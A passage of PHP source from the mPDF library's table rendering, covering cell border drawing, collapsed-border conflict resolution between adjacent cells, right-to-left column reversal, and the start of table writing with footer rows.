$hadj3, 'col' => $nc, 'lw' => $this->LineWidth, ]; } else { $this->SetDColor($nc); $this->Line($lx1 + $xadj + $xadj3, $ly1 + $yadj + $yadj3, $lx2 - $xadj2 + $xadj3 + $wadj3, $ly2 - $yadj2 + $yadj3 + $hadj3); } } } else { /* -- END TABLES-ADVANCED-BORDERS -- */ if ($details[$side]['style'] == 'dashed') { $dashsize = 2; // final dash will be this + 1*linewidth $dashsizek = 1.5; // ratio of Dash/Blank $this->SetDash($dashsize, ($dashsize / $dashsizek) + ($this->LineWidth * 2)); } elseif ($details[$side]['style'] == 'dotted') { $this->SetLineJoin(1); $this->SetLineCap(1); $this->SetDash(0.001, ($this->LineWidth * 2)); } if ($details[$side]['c']) { $this->SetDColor($details[$side]['c']); } else { $this->SetDColor($this->colorConverter->convert(0, $this->PDFAXwarnings)); } $this->Line($lx1 + $xadj, $ly1 + $yadj, $lx2 - $xadj2, $ly2 - $yadj2); /* -- TABLES-ADVANCED-BORDERS -- */ } /* -- END TABLES-ADVANCED-BORDERS -- */ // Reset Corners $this->SetDash(); // BUTT style line cap $this->SetLineCap(2); } } if ($bSeparate && count($cellBorderOverlay)) { foreach ($cellBorderOverlay as $cbo) { $this->SetLineWidth($cbo['lw']); $this->SetDColor($cbo['col']); $this->Line($cbo['x'], $cbo['y'], $cbo['x2'], $cbo['y2']); } } // $this->SetLineWidth($oldlinewidth); // $this->SetDColor($this->colorConverter->convert(0, $this->PDFAXwarnings)); } } /* -- TABLES -- */ /* -- TABLES-ADVANCED-BORDERS -- */ /* -- END TABLES-ADVANCED-BORDERS -- */ function setBorder(&$var, $flag, $set = true) { $flag = intval($flag); if ($set) { $set = true; } $var = intval($var); $var = $set ? ($var | $flag) : ($var & ~$flag); } function issetBorder($var, $flag) { $flag = intval($flag); $var = intval($var); return (($var & $flag) == $flag); } function _table2cellBorder(&$tableb, &$cbdb, &$cellb, $bval) { if ($tableb && $tableb['w'] > $cbdb['w']) { $cbdb = $tableb; $this->setBorder($cellb, $bval); } elseif ($tableb && $tableb['w'] == $cbdb['w'] && array_search($tableb['style'], $this->borderstyles) > array_search($cbdb['style'], $this->borderstyles)) { $cbdb = $tableb; $this->setBorder($cellb, $bval); } } // FIX BORDERS ******************************************** function _fixTableBorders(&$table) { if (!$table['borders_separate'] && $table['border_details']['L']['w']) { $table['max_cell_border_width']['L'] = $table['border_details']['L']['w']; } if (!$table['borders_separate'] && $table['border_details']['R']['w']) { $table['max_cell_border_width']['R'] = $table['border_details']['R']['w']; } if (!$table['borders_separate'] && $table['border_details']['T']['w']) { $table['max_cell_border_width']['T'] = $table['border_details']['T']['w']; } if (!$table['borders_separate'] && $table['border_details']['B']['w']) { $table['max_cell_border_width']['B'] = $table['border_details']['B']['w']; } if ($this->simpleTables) { return; } $cells = &$table['cells']; $numcols = $table['nc']; $numrows = $table['nr']; /* -- TABLES-ADVANCED-BORDERS -- */ if (isset($table['topntail']) && $table['topntail']) { $tntborddet = $this->border_details($table['topntail']); } if (isset($table['thead-underline']) && $table['thead-underline']) { $thuborddet = $this->border_details($table['thead-underline']); } /* -- END TABLES-ADVANCED-BORDERS -- */ for ($i = 0; $i < $numrows; $i++) { // Rows for ($j = 0; $j < $numcols; $j++) { // Columns if (isset($cells[$i][$j]) && $cells[$i][$j]) { $cell = &$cells[$i][$j]; if ($this->packTableData) { $cbord = $this->_unpackCellBorder($cell['borderbin']); } else { $cbord = &$cells[$i][$j]; } // mPDF 5.7.3 if (!$cbord['border'] && $cbord['border'] !== 0 && isset($table['border']) && $table['border'] && $this->table_border_attr_set) { $cbord['border'] = $table['border']; $cbord['border_details'] = $table['border_details']; } if (isset($cell['colspan']) && $cell['colspan'] > 1) { $ccolsp = $cell['colspan']; } else { $ccolsp = 1; } if (isset($cell['rowspan']) && $cell['rowspan'] > 1) { $crowsp = $cell['rowspan']; } else { $crowsp = 1; } $cbord['border_details']['cellposdom'] = ((($i + 1) / $numrows) / 10000 ) + ((($j + 1) / $numcols) / 10 ); // Inherit Cell border from Table border if ($this->table_border_css_set && !$table['borders_separate']) { if ($i == 0) { $this->_table2cellBorder($table['border_details']['T'], $cbord['border_details']['T'], $cbord['border'], Border::TOP); } if ($i == ($numrows - 1) || ($i + $crowsp) == ($numrows)) { $this->_table2cellBorder($table['border_details']['B'], $cbord['border_details']['B'], $cbord['border'], Border::BOTTOM); } if ($j == 0) { $this->_table2cellBorder($table['border_details']['L'], $cbord['border_details']['L'], $cbord['border'], Border::LEFT); } if ($j == ($numcols - 1) || ($j + $ccolsp) == ($numcols)) { $this->_table2cellBorder($table['border_details']['R'], $cbord['border_details']['R'], $cbord['border'], Border::RIGHT); } } /* -- TABLES-ADVANCED-BORDERS -- */ $fixbottom = true; if (isset($table['topntail']) && $table['topntail']) { if ($i == 0) { $cbord['border_details']['T'] = $tntborddet; $this->setBorder($cbord['border'], Border::TOP); } if ($this->tableLevel == 1 && $table['headernrows'] > 0 && $i == $table['headernrows'] - 1) { $cbord['border_details']['B'] = $tntborddet; $this->setBorder($cbord['border'], Border::BOTTOM); $fixbottom = false; } elseif ($this->tableLevel == 1 && $table['headernrows'] > 0 && $i == $table['headernrows']) { if (!$table['borders_separate']) { $cbord['border_details']['T'] = $tntborddet; $this->setBorder($cbord['border'], Border::TOP); } } if ($this->tableLevel == 1 && $table['footernrows'] > 0 && $i == ($numrows - $table['footernrows'] - 1)) { if (!$table['borders_separate']) { $cbord['border_details']['B'] = $tntborddet; $this->setBorder($cbord['border'], Border::BOTTOM); $fixbottom = false; } } elseif ($this->tableLevel == 1 && $table['footernrows'] > 0 && $i == ($numrows - $table['footernrows'])) { $cbord['border_details']['T'] = $tntborddet; $this->setBorder($cbord['border'], Border::TOP); } if ($this->tabletheadjustfinished) { // $this->tabletheadjustfinished called from tableheader if (!$table['borders_separate']) { $cbord['border_details']['T'] = $tntborddet; $this->setBorder($cbord['border'], Border::TOP); } } if ($i == ($numrows - 1) || ($i + $crowsp) == ($numrows)) { $cbord['border_details']['B'] = $tntborddet; $this->setBorder($cbord['border'], Border::BOTTOM); } } if (isset($table['thead-underline']) && $table['thead-underline']) { if ($table['borders_separate']) { if ($i == 0) { $cbord['border_details']['B'] = $thuborddet; $this->setBorder($cbord['border'], Border::BOTTOM); $fixbottom = false; } } else { if ($this->tableLevel == 1 && $table['headernrows'] > 0 && $i == $table['headernrows'] - 1) { $cbord['border_details']['T'] = $thuborddet; $this->setBorder($cbord['border'], Border::TOP); } elseif ($this->tabletheadjustfinished) { // $this->tabletheadjustfinished called from tableheader $cbord['border_details']['T'] = $thuborddet; $this->setBorder($cbord['border'], Border::TOP); } } } // Collapse Border - Algorithm for conflicting borders // Hidden >> Width >> double>solid>dashed>dotted... >> style set on cell>table >> top/left>bottom/right // Do not turn off border which is overridden // Needed for page break for TOP/BOTTOM both to be defined in Collapsed borders // Means it is painted twice. (Left/Right can still disable overridden border) if (!$table['borders_separate']) { if (($i < ($numrows - 1) || ($i + $crowsp) < $numrows ) && $fixbottom) { // Bottom for ($cspi = 0; $cspi < $ccolsp; $cspi++) { // already defined Top for adjacent cell below if (isset($cells[($i + $crowsp)][$j + $cspi])) { if ($this->packTableData) { $adjc = $cells[($i + $crowsp)][$j + $cspi]; $celladj = $this->_unpackCellBorder($adjc['borderbin']); } else { $celladj = & $cells[($i + $crowsp)][$j + $cspi]; } } else { $celladj = false; } if (isset($celladj['border_details']['T']['s']) && $celladj['border_details']['T']['s'] == 1) { $csadj = $celladj['border_details']['T']['w']; $csthis = $cbord['border_details']['B']['w']; // Hidden if ($cbord['border_details']['B']['style'] == 'hidden') { $celladj['border_details']['T'] = $cbord['border_details']['B']; $this->setBorder($celladj['border'], Border::TOP, false); $this->setBorder($cbord['border'], Border::BOTTOM, false); } elseif ($celladj['border_details']['T']['style'] == 'hidden') { $cbord['border_details']['B'] = $celladj['border_details']['T']; $this->setBorder($cbord['border'], Border::BOTTOM, false); $this->setBorder($celladj['border'], Border::TOP, false); } elseif ($csthis > $csadj) { // Width if (!isset($cells[($i + $crowsp)][$j + $cspi]['colspan']) || (isset($cells[($i + $crowsp)][$j + $cspi]['colspan']) && $cells[($i + $crowsp)][$j + $cspi]['colspan'] < 2)) { // don't overwrite bordering cells that span $celladj['border_details']['T'] = $cbord['border_details']['B']; $this->setBorder($cbord['border'], Border::BOTTOM); } } elseif ($csadj > $csthis) { if ($ccolsp < 2) { // don't overwrite this cell if it spans $cbord['border_details']['B'] = $celladj['border_details']['T']; $this->setBorder($celladj['border'], Border::TOP); } } elseif (array_search($cbord['border_details']['B']['style'], $this->borderstyles) > array_search($celladj['border_details']['T']['style'], $this->borderstyles)) { // double>solid>dashed>dotted... if (!isset($cells[($i + $crowsp)][$j + $cspi]['colspan']) || (isset($cells[($i + $crowsp)][$j + $cspi]['colspan']) && $cells[($i + $crowsp)][$j + $cspi]['colspan'] < 2)) { // don't overwrite bordering cells that span $celladj['border_details']['T'] = $cbord['border_details']['B']; $this->setBorder($cbord['border'], Border::BOTTOM); } } elseif (array_search($celladj['border_details']['T']['style'], $this->borderstyles) > array_search($cbord['border_details']['B']['style'], $this->borderstyles)) { if ($ccolsp < 2) { // don't overwrite this cell if it spans $cbord['border_details']['B'] = $celladj['border_details']['T']; $this->setBorder($celladj['border'], Border::TOP); } } elseif ($celladj['border_details']['T']['dom'] > $celladj['border_details']['B']['dom']) { // Style set on cell vs. table if ($ccolsp < 2) { // don't overwrite this cell if it spans $cbord['border_details']['B'] = $celladj['border_details']['T']; $this->setBorder($celladj['border'], Border::TOP); } } else { // Style set on cell vs. table - OR - LEFT/TOP (cell) in preference to BOTTOM/RIGHT if (!isset($cells[($i + $crowsp)][$j + $cspi]['colspan']) || (isset($cells[($i + $crowsp)][$j + $cspi]['colspan']) && $cells[($i + $crowsp)][$j + $cspi]['colspan'] < 2)) { // don't overwrite bordering cells that span $celladj['border_details']['T'] = $cbord['border_details']['B']; $this->setBorder($cbord['border'], Border::BOTTOM); } } } elseif ($celladj) { if (!isset($cells[($i + $crowsp)][$j + $cspi]['colspan']) || (isset($cells[($i + $crowsp)][$j + $cspi]['colspan']) && $cells[($i + $crowsp)][$j + $cspi]['colspan'] < 2)) { // don't overwrite bordering cells that span $celladj['border_details']['T'] = $cbord['border_details']['B']; } } // mPDF 5.7.4 if ($celladj && $this->packTableData) { $cells[$i + $crowsp][$j + $cspi]['borderbin'] = $this->_packCellBorder($celladj); } unset($celladj); } } if ($j < ($numcols - 1) || ($j + $ccolsp) < $numcols) { // Right-Left for ($cspi = 0; $cspi < $crowsp; $cspi++) { // already defined Left for adjacent cell to R if (isset($cells[($i + $cspi)][$j + $ccolsp])) { if ($this->packTableData) { $adjc = $cells[($i + $cspi)][$j + $ccolsp]; $celladj = $this->_unpackCellBorder($adjc['borderbin']); } else { $celladj = & $cells[$i + $cspi][$j + $ccolsp]; } } else { $celladj = false; } if ($celladj && $celladj['border_details']['L']['s'] == 1) { $csadj = $celladj['border_details']['L']['w']; $csthis = $cbord['border_details']['R']['w']; // Hidden if ($cbord['border_details']['R']['style'] == 'hidden') { $celladj['border_details']['L'] = $cbord['border_details']['R']; $this->setBorder($celladj['border'], Border::LEFT, false); $this->setBorder($cbord['border'], Border::RIGHT, false); } elseif ($celladj['border_details']['L']['style'] == 'hidden') { $cbord['border_details']['R'] = $celladj['border_details']['L']; $this->setBorder($cbord['border'], Border::RIGHT, false); $this->setBorder($celladj['border'], Border::LEFT, false); } // Width elseif ($csthis > $csadj) { if (!isset($cells[($i + $cspi)][$j + $ccolsp]['rowspan']) || (isset($cells[($i + $cspi)][$j + $ccolsp]['rowspan']) && $cells[($i + $cspi)][$j + $ccolsp]['rowspan'] < 2)) { // don't overwrite bordering cells that span $celladj['border_details']['L'] = $cbord['border_details']['R']; $this->setBorder($cbord['border'], Border::RIGHT); $this->setBorder($celladj['border'], Border::LEFT, false); } } elseif ($csadj > $csthis) { if ($crowsp < 2) { // don't overwrite this cell if it spans $cbord['border_details']['R'] = $celladj['border_details']['L']; $this->setBorder($cbord['border'], Border::RIGHT, false); $this->setBorder($celladj['border'], Border::LEFT); } } // double>solid>dashed>dotted... elseif (array_search($cbord['border_details']['R']['style'], $this->borderstyles) > array_search($celladj['border_details']['L']['style'], $this->borderstyles)) { if (!isset($cells[($i + $cspi)][$j + $ccolsp]['rowspan']) || (isset($cells[($i + $cspi)][$j + $ccolsp]['rowspan']) && $cells[($i + $cspi)][$j + $ccolsp]['rowspan'] < 2)) { // don't overwrite bordering cells that span $celladj['border_details']['L'] = $cbord['border_details']['R']; $this->setBorder($celladj['border'], Border::LEFT, false); $this->setBorder($cbord['border'], Border::RIGHT); } } elseif (array_search($celladj['border_details']['L']['style'], $this->borderstyles) > array_search($cbord['border_details']['R']['style'], $this->borderstyles)) { if ($crowsp < 2) { // don't overwrite this cell if it spans $cbord['border_details']['R'] = $celladj['border_details']['L']; $this->setBorder($cbord['border'], Border::RIGHT, false); $this->setBorder($celladj['border'], Border::LEFT); } } // Style set on cell vs. table elseif ($celladj['border_details']['L']['dom'] > $cbord['border_details']['R']['dom']) { if ($crowsp < 2) { // don't overwrite this cell if it spans $cbord['border_details']['R'] = $celladj['border_details']['L']; $this->setBorder($celladj['border'], Border::LEFT); } } // Style set on cell vs. table - OR - LEFT/TOP (cell) in preference to BOTTOM/RIGHT else { if (!isset($cells[($i + $cspi)][$j + $ccolsp]['rowspan']) || (isset($cells[($i + $cspi)][$j + $ccolsp]['rowspan']) && $cells[($i + $cspi)][$j + $ccolsp]['rowspan'] < 2)) { // don't overwrite bordering cells that span $celladj['border_details']['L'] = $cbord['border_details']['R']; $this->setBorder($cbord['border'], Border::RIGHT); } } } elseif ($celladj) { // if right-cell border is not set if (!isset($cells[($i + $cspi)][$j + $ccolsp]['rowspan']) || (isset($cells[($i + $cspi)][$j + $ccolsp]['rowspan']) && $cells[($i + $cspi)][$j + $ccolsp]['rowspan'] < 2)) { // don't overwrite bordering cells that span $celladj['border_details']['L'] = $cbord['border_details']['R']; } } // mPDF 5.7.4 if ($celladj && $this->packTableData) { $cells[$i + $cspi][$j + $ccolsp]['borderbin'] = $this->_packCellBorder($celladj); } unset($celladj); } } } // Set maximum cell border width meeting at LRTB edges of cell - used for extended cell border // ['border_details']['mbw']['LT'] = meeting border width - Left border - Top end if (!$table['borders_separate']) { $cbord['border_details']['mbw']['BL'] = max($cbord['border_details']['mbw']['BL'], $cbord['border_details']['L']['w']); $cbord['border_details']['mbw']['BR'] = max($cbord['border_details']['mbw']['BR'], $cbord['border_details']['R']['w']); $cbord['border_details']['mbw']['RT'] = max($cbord['border_details']['mbw']['RT'], $cbord['border_details']['T']['w']); $cbord['border_details']['mbw']['RB'] = max($cbord['border_details']['mbw']['RB'], $cbord['border_details']['B']['w']); $cbord['border_details']['mbw']['TL'] = max($cbord['border_details']['mbw']['TL'], $cbord['border_details']['L']['w']); $cbord['border_details']['mbw']['TR'] = max($cbord['border_details']['mbw']['TR'], $cbord['border_details']['R']['w']); $cbord['border_details']['mbw']['LT'] = max($cbord['border_details']['mbw']['LT'], $cbord['border_details']['T']['w']); $cbord['border_details']['mbw']['LB'] = max($cbord['border_details']['mbw']['LB'], $cbord['border_details']['B']['w']); if (($i + $crowsp) < $numrows && isset($cells[$i + $crowsp][$j])) { // Has Bottom adjoining cell if ($this->packTableData) { $adjc = $cells[$i + $crowsp][$j]; $celladj = $this->_unpackCellBorder($adjc['borderbin']); } else { $celladj = & $cells[$i + $crowsp][$j]; } $cbord['border_details']['mbw']['BL'] = max( $cbord['border_details']['mbw']['BL'], $celladj ? $celladj['border_details']['L']['w'] : 0, $celladj ? $celladj['border_details']['mbw']['TL']: 0 ); $cbord['border_details']['mbw']['BR'] = max( $cbord['border_details']['mbw']['BR'], $celladj ? $celladj['border_details']['R']['w'] : 0, $celladj ? $celladj['border_details']['mbw']['TR']: 0 ); $cbord['border_details']['mbw']['LB'] = max( $cbord['border_details']['mbw']['LB'], $celladj ? $celladj['border_details']['mbw']['LT'] : 0 ); $cbord['border_details']['mbw']['RB'] = max( $cbord['border_details']['mbw']['RB'], $celladj ? $celladj['border_details']['mbw']['RT'] : 0 ); unset($celladj); } if (($j + $ccolsp) < $numcols && isset($cells[$i][$j + $ccolsp])) { // Has Right adjoining cell if ($this->packTableData) { $adjc = $cells[$i][$j + $ccolsp]; $celladj = $this->_unpackCellBorder($adjc['borderbin']); } else { $celladj = & $cells[$i][$j + $ccolsp]; } $cbord['border_details']['mbw']['RT'] = max( $cbord['border_details']['mbw']['RT'], $celladj ? $celladj['border_details']['T']['w'] : 0, $celladj ? $celladj['border_details']['mbw']['LT'] : 0 ); $cbord['border_details']['mbw']['RB'] = max( $cbord['border_details']['mbw']['RB'], $celladj ? $celladj['border_details']['B']['w'] : 0, $celladj ? $celladj['border_details']['mbw']['LB'] : 0 ); $cbord['border_details']['mbw']['TR'] = max( $cbord['border_details']['mbw']['TR'], $celladj ? $celladj['border_details']['mbw']['TL'] : 0 ); $cbord['border_details']['mbw']['BR'] = max( $cbord['border_details']['mbw']['BR'], $celladj ? $celladj['border_details']['mbw']['BL'] : 0 ); unset($celladj); } if ($i > 0 && isset($cells[$i - 1][$j]) && is_array($cells[$i - 1][$j]) && (($this->packTableData && $cells[$i - 1][$j]['borderbin']) || $cells[$i - 1][$j]['border'])) { // Has Top adjoining cell if ($this->packTableData) { $adjc = $cells[$i - 1][$j]; $celladj = $this->_unpackCellBorder($adjc['borderbin']); } else { $celladj = & $cells[$i - 1][$j]; } $cbord['border_details']['mbw']['TL'] = max( $cbord['border_details']['mbw']['TL'], $celladj ? $celladj['border_details']['L']['w'] : 0, $celladj ? $celladj['border_details']['mbw']['BL'] : 0 ); $cbord['border_details']['mbw']['TR'] = max( $cbord['border_details']['mbw']['TR'], $celladj ? $celladj['border_details']['R']['w'] : 0, $celladj ? $celladj['border_details']['mbw']['BR'] : 0 ); $cbord['border_details']['mbw']['LT'] = max( $cbord['border_details']['mbw']['LT'], $celladj ? $celladj['border_details']['mbw']['LB'] : 0 ); $cbord['border_details']['mbw']['RT'] = max( $cbord['border_details']['mbw']['RT'], $celladj ? $celladj['border_details']['mbw']['RB'] : 0 ); if ($celladj['border_details']['mbw']['BL']) { $celladj['border_details']['mbw']['BL'] = max($cbord['border_details']['mbw']['TL'], $celladj['border_details']['mbw']['BL']); } if ($celladj['border_details']['mbw']['BR']) { $celladj['border_details']['mbw']['BR'] = max($celladj['border_details']['mbw']['BR'], $cbord['border_details']['mbw']['TR']); } if ($this->packTableData) { $cells[$i - 1][$j]['borderbin'] = $this->_packCellBorder($celladj); } unset($celladj); } if ($j > 0 && isset($cells[$i][$j - 1]) && is_array($cells[$i][$j - 1]) && (($this->packTableData && $cells[$i][$j - 1]['borderbin']) || $cells[$i][$j - 1]['border'])) { // Has Left adjoining cell if ($this->packTableData) { $adjc = $cells[$i][$j - 1]; $celladj = $this->_unpackCellBorder($adjc['borderbin']); } else { $celladj = & $cells[$i][$j - 1]; } $cbord['border_details']['mbw']['LT'] = max( $cbord['border_details']['mbw']['LT'], $celladj ? $celladj['border_details']['T']['w'] : 0, $celladj ? $celladj['border_details']['mbw']['RT'] : 0 ); $cbord['border_details']['mbw']['LB'] = max( $cbord['border_details']['mbw']['LB'], $celladj ? $celladj['border_details']['B']['w'] : 0, $celladj ? $celladj['border_details']['mbw']['RB'] : 0 ); $cbord['border_details']['mbw']['BL'] = max( $cbord['border_details']['mbw']['BL'], $celladj ? $celladj['border_details']['mbw']['BR'] : 0 ); $cbord['border_details']['mbw']['TL'] = max( $cbord['border_details']['mbw']['TL'], $celladj ? $celladj['border_details']['mbw']['TR'] : 0 ); if ($celladj['border_details']['mbw']['RT']) { $celladj['border_details']['mbw']['RT'] = max($celladj['border_details']['mbw']['RT'], $cbord['border_details']['mbw']['LT']); } if ($celladj['border_details']['mbw']['RB']) { $celladj['border_details']['mbw']['RB'] = max($celladj['border_details']['mbw']['RB'], $cbord['border_details']['mbw']['LB']); } if ($this->packTableData) { $cells[$i][$j - 1]['borderbin'] = $this->_packCellBorder($celladj); } unset($celladj); } // Update maximum cell border width at LRTB edges of table - used for overall table width if ($j == 0 && $cbord['border_details']['L']['w']) { $table['max_cell_border_width']['L'] = max($table['max_cell_border_width']['L'], $cbord['border_details']['L']['w']); } if (($j == ($numcols - 1) || ($j + $ccolsp) == $numcols ) && $cbord['border_details']['R']['w']) { $table['max_cell_border_width']['R'] = max($table['max_cell_border_width']['R'], $cbord['border_details']['R']['w']); } if ($i == 0 && $cbord['border_details']['T']['w']) { $table['max_cell_border_width']['T'] = max($table['max_cell_border_width']['T'], $cbord['border_details']['T']['w']); } if (($i == ($numrows - 1) || ($i + $crowsp) == $numrows ) && $cbord['border_details']['B']['w']) { $table['max_cell_border_width']['B'] = max($table['max_cell_border_width']['B'], $cbord['border_details']['B']['w']); } } /* -- END TABLES-ADVANCED-BORDERS -- */ if ($this->packTableData) { $cell['borderbin'] = $this->_packCellBorder($cbord); } unset($cbord); unset($cell); } } } unset($cell); } // END FIX BORDERS ************************************************************************************ function _reverseTableDir(&$table) { $cells = &$table['cells']; $numcols = $table['nc']; $numrows = $table['nr']; for ($i = 0; $i < $numrows; $i++) { // Rows $row = []; for ($j = ($numcols - 1); $j >= 0; $j--) { // Columns if (isset($cells[$i][$j]) && $cells[$i][$j]) { $cell = &$cells[$i][$j]; $col = $numcols - $j - 1; if (isset($cell['colspan']) && $cell['colspan'] > 1) { $col -= ($cell['colspan'] - 1); } // Nested content if (isset($cell['textbuffer'])) { for ($n = 0; $n < count($cell['textbuffer']); $n++) { $t = $cell['textbuffer'][$n][0]; if (substr($t, 0, 19) == "\xbb\xa4\xactype=nestedtable") { $objattr = $this->_getObjAttr($t); $objattr['col'] = $col; $cell['textbuffer'][$n][0] = "\xbb\xa4\xactype=nestedtable,objattr=" . serialize($objattr) . "\xbb\xa4\xac"; $this->table[($this->tableLevel + 1)][$objattr['nestedcontent']]['nestedpos'][1] = $col; } } } $row[$col] = $cells[$i][$j]; unset($cell); } } for ($f = 0; $f < $numcols; $f++) { if (!isset($row[$f])) { $row[$f] = 0; } } $table['cells'][$i] = $row; } } function _tableWrite(&$table, $split = false, $startrow = 0, $startcol = 0, $splitpg = 0, $rety = 0) { $level = $table['level']; $levelid = $table['levelid']; $cells = &$table['cells']; $numcols = $table['nc']; $numrows = $table['nr']; $maxbwtop = 0; if ($this->ColActive && $level == 1) { $this->breakpoints[$this->CurrCol][] = $this->y; } // *COLUMNS* if (!$split || ($startrow == 0 && $splitpg == 0) || $startrow > 0) { // TABLE TOP MARGIN if ($table['margin']['T']) { if (!$this->table_rotate && $level == 1) { $this->DivLn($table['margin']['T'], $this->blklvl, true, 1); // collapsible } else { $this->y += ($table['margin']['T']); } } // Advance down page by half width of top border if ($table['borders_separate']) { if ($startrow > 0 && (!isset($table['is_thead']) || count($table['is_thead']) == 0)) { $adv = $table['border_spacing_V'] / 2; } else { $adv = $table['padding']['T'] + $table['border_details']['T']['w'] + $table['border_spacing_V'] / 2; } } else { $adv = $table['max_cell_border_width']['T'] / 2; } if (!$this->table_rotate && $level == 1) { $this->DivLn($adv); } else { $this->y += $adv; } } if ($level == 1) { $this->x = $this->lMargin + $this->blk[$this->blklvl]['outer_left_margin'] + $this->blk[$this->blklvl]['padding_left'] + $this->blk[$this->blklvl]['border_left']['w']; $x0 = $this->x; $y0 = $this->y; $right = $x0 + $this->blk[$this->blklvl]['inner_width']; $outerfilled = $this->y; // Keep track of how far down the outer DIV bgcolor is painted (NB rowspans) $this->outerfilled = $this->y; $this->colsums = []; } else { $x0 = $this->x; $y0 = $this->y; $right = $x0 + $table['w']; } if ($this->table_rotate) { $temppgwidth = $this->tbrot_maxw; $this->PageBreakTrigger = $pagetrigger = $y0 + ($this->blk[$this->blklvl]['inner_width']); if ($level == 1) { $this->tbrot_y0 = $this->y - $adv - $table['margin']['T']; $this->tbrot_x0 = $this->x; $this->tbrot_w = $table['w']; if ($table['borders_separate']) { $this->tbrot_h = $table['margin']['T'] + $table['padding']['T'] + $table['border_details']['T']['w'] + $table['border_spacing_V'] / 2; } else { $this->tbrot_h = $table['margin']['T'] + $table['padding']['T'] + $table['max_cell_border_width']['T']; } } } else { $this->PageBreakTrigger = $pagetrigger = ($this->h - $this->bMargin); if ($level == 1) { $temppgwidth = $this->blk[$this->blklvl]['inner_width']; if (isset($table['a']) and ( $table['w'] < $this->blk[$this->blklvl]['inner_width'])) { if ($table['a'] == 'C') { $x0 += ((($right - $x0) - $table['w']) / 2); } elseif ($table['a'] == 'R') { $x0 = $right - $table['w']; } } } else { $temppgwidth = $table['w']; } } if (!isset($table['overflow'])) { $table['overflow'] = null; } if ($table['overflow'] == 'hidden' && $level == 1 && !$this->table_rotate && !$this->ColActive) { // Bounding rectangle to clip $this->tableClipPath = sprintf('q %.3F %.3F %.3F %.3F re W n', $x0 * Mpdf::SCALE, $this->h * Mpdf::SCALE, $this->blk[$this->blklvl]['inner_width'] * Mpdf::SCALE, -$this->h * Mpdf::SCALE); $this->writer->write($this->tableClipPath); } else { $this->tableClipPath = ''; } if ($table['borders_separate']) { $indent = $table['margin']['L'] + $table['border_details']['L']['w'] + $table['padding']['L'] + $table['border_spacing_H'] / 2; } else { $indent = $table['margin']['L'] + $table['max_cell_border_width']['L'] / 2; } $x0 += $indent; $returny = 0; $lastCol = 0; $tableheader = []; $tablefooter = []; $tableheaderrowheight = 0; $tablefooterrowheight = 0; $footery = 0; // mPD 3.0 Set the Page & Column where table starts if (($this->mirrorMargins) && (($this->page) % 2 == 0)) { // EVEN $tablestartpage = 'EVEN'; } elseif (($this->mirrorMargins) && (($this->page) % 2 == 1)) { // ODD $tablestartpage = 'ODD'; } else { $tablestartpage = ''; } if ($this->ColActive) { $tablestartcolumn = $this->CurrCol; } else { $tablestartcolumn = ''; } $y = $h = 0; for ($i = 0; $i < $numrows; $i++) { // Rows if (isset($table['is_tfoot'][$i]) && $table['is_tfoot'][$i] && $level == 1) { $tablefooterrowheight += $table['hr'][$i]; $tablefooter[$i][0]['trbackground-images'] = $table['trbackground-images'][$i]; $tablefooter[$i][0]['trgradients'] = $table['trgradients'][$i]; $tablefooter[$i][0]['trbgcolor'] = $table['bgcolor'][$i]; for ($j = $startcol; $j < $numcols; $j++) { // Columns if (isset($cells[$i][$j]) && $cells[$i][$j]) { $cell = &$cells[$i][$j]; if ($split) { if ($table['colPg'][$j] != $splitpg) { continue; } list($x, $w) = $this->_splitTableGetWidth($table, $i, $j); $js = $j - $startcol; } else { list($x, $w) = $this->_tableGetWidth($table, $i, $j); $js = $j; } list($y, $h) = $this->_tableGetHeight($table, $i, $j); $x += $x0; $y += $y0; // Get info of tfoot ==>> table footer $tablefooter[$i][$js]['x'] = $x; $tablefooter[$i][$js]['y'] = $y; $tablefooter[$i][$js]['h'] = $h; $tablefooter[$i][$js]['w'] = $w; if (isset($cell['textbuffer'])) { $tablefooter[$i][$js]['textbuffer'] = $cell['textbuffer']; } else { $tablefooter[$i][$js]['textbuffer'] = ''; } $tablefooter[$i][$js]['a'] = $cell['a']; $tablefooter[$i][$js]['R'] = $cell['R']; $tablefooter[$i][$js]['va'] = $cell['va']; $tablefooter[$i][$js]['mih'] = $cell['mih']; if (isset($cell['gradient'])) { $tablefooter[$i][$js]['gradient'] = $cell['gradient']; // *BACKGROUNDS* } if (isset($cell['background-image'])) { $tablefooter[$i][$js]['background-image'] = $cell['background-image']; // *BACKGROUNDS* } // CELL FILL BGCOLOR if (!$this->simpleTables) { if ($this->packTableData) { $c = $this->_unpackCellBorder($cell['borderbin']); $tablefooter[$i][$js]['border'] = $c['border']; $tablefooter[$i][$js]['border_details'] = $c['border_details']; } else { $tablefooter[$i][$js]['border'] = $cell['border']; $tablefooter[$i][$js]['border_details'] = $cell['border_details']; } } elseif ($this->simpleTables) { $tablefooter[$i][$js]['border'] = $table['simple']['border']; $tablefooter[$i][$js]['border_details'] = $table['simple']['border_details']; } $tablefooter[$i][$js]['bgcolor'] = $cell['bgcolor']; $tablefooter[$i][$js]['padding'] = $cell['padding']; if (isset($cell['rowspan'])) { $tablefooter[$i][$js]['rowspan'] = $cell['rowspan']; } if (isset($cell['colspan'])) { $tablefooter[$i][$js]['colspan'] = $cell['colspan']; } if (isset($cell['direction'])) { $tablefooter[$i][$js]['direction'] = $cell['direction']; } if (isset($cell['cellLineHeight'])) { $tablefooter[$i][$js]['cellLineHeight'] = $cell['cellLineHeight']; } if (isset($cell['cellLineStackingStrategy'])) { $tablefooter[$i][$js]['cellLineStackingStrategy'] = $cell['cellLineStackingStrategy']; } if (isset($cell['cellLineStackingShift'])) { $tablefooter[$i][$js]['cellLineStackingShift'] = $cell['cellLineStackingShift']; } } } } } if ($level == 1) { $this->writer->write('___TABLE___BACKGROUNDS' . $this->uniqstr); } $tableheaderadj = 0; $tablefooteradj = 0; $tablestartpageno = $this->page; // Draw Table Contents and Borders for ($i = 0; $i < $numrows; $i++) { // Rows if ($split && $startrow > 0) { $thnr = (isset($table['is_thead']) ? count($table['is_thead']) : 0); if ($i >= $thnr && $i < $startrow) { continue; } if ($i == $startrow) { $returny = $rety - $tableheaderrowheight; } } // Get Maximum row/cell height in row - including rowspan>1 + 1 overlapping $maxrowheight = $this->_tableGetMaxRowHeight($table, $i); $skippage = false; $newpagestarted = false; for ($j = $startcol; $j < $numcols; $j++) { // Columns if ($split) { if ($table['colPg'][$j] > $splitpg) { break; } $lastCol = $j; } if (isset($cells[$i][$j]) && $cells[$i][$j]) { $cell = &$cells[$i][$j]; if ($split) { $lastCol = $j + (isset($cell['colspan']) ? ($cell['colspan'] - 1) : 0); list($x, $w) = $this->_splitTableGetWidth($table, $i, 